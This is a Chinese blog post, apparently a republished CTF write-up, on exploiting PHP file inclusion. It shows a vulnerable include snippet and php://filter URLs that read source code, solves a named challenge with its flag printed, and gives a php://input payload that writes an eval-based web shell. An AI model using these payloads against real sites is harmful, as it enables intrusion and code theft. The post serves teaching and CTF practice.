【CTF题】使用文件包含漏洞读取网页代码
【CTF題】使用文件包含漏洞讀取網(wǎng)頁代碼
?
按照我的理解文件包含漏洞是指網(wǎng)頁后端php(或其他)代碼中使用了include等文件包含語句,而且所包含的文件由變量控制,恰恰此變量又能通過GET或POST等方式進行修改所造成的。
1.直接包含內(nèi)有運行代碼的文件
比如有一index.php
<?phpinclude $_GET['file']; ?>那么就可以通過抓包修改file值的辦法去運行一些本來不該運行的文件
也可以通過此方法直接輸出一些敏感的配置文件和遠程包含shell(需要目標主機開啟allow_url_fopen)
2.通過PHP內(nèi)置協(xié)議直接讀取代碼
通過構造如下語句:
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php就能獲得xxx.php的代碼的base64加密結果,通過base64解密后便可獲得xxx.php的代碼
題目是南郵網(wǎng)絡攻防平臺的文件包含題?
點擊“click me?no”以后:?
這里寫圖片描述
可以看到,url變?yōu)榱?#xff1a;
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
出現(xiàn)了?file=show.php
說明可能有文件包含漏洞,so,構建url如下:
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到了index.php的base64加密后的代碼
?
base解密后得到代碼:
<html><title>asdf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:nctf{edulcni_elif_lacol_si_siht}?> </html>- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
可以看到,flag就在這里~
3.寫入php文件
使用如下url:
http://xxx.com/index.php?file=php://input
并且在http頭里提交
<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>就能在index.php說在的目錄下生成shell.php
?
--------------------- 本文來自 keysking 的CSDN 博客 ,全文地址請點擊:https://blog.csdn.net/keysking/article/details/54728702?utm_source=copy
總結
以上是生活随笔為你收集整理的【CTF题】使用文件包含漏洞读取网页代码的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Worthington毒液中核酸外切酶的
- 下一篇: click me? no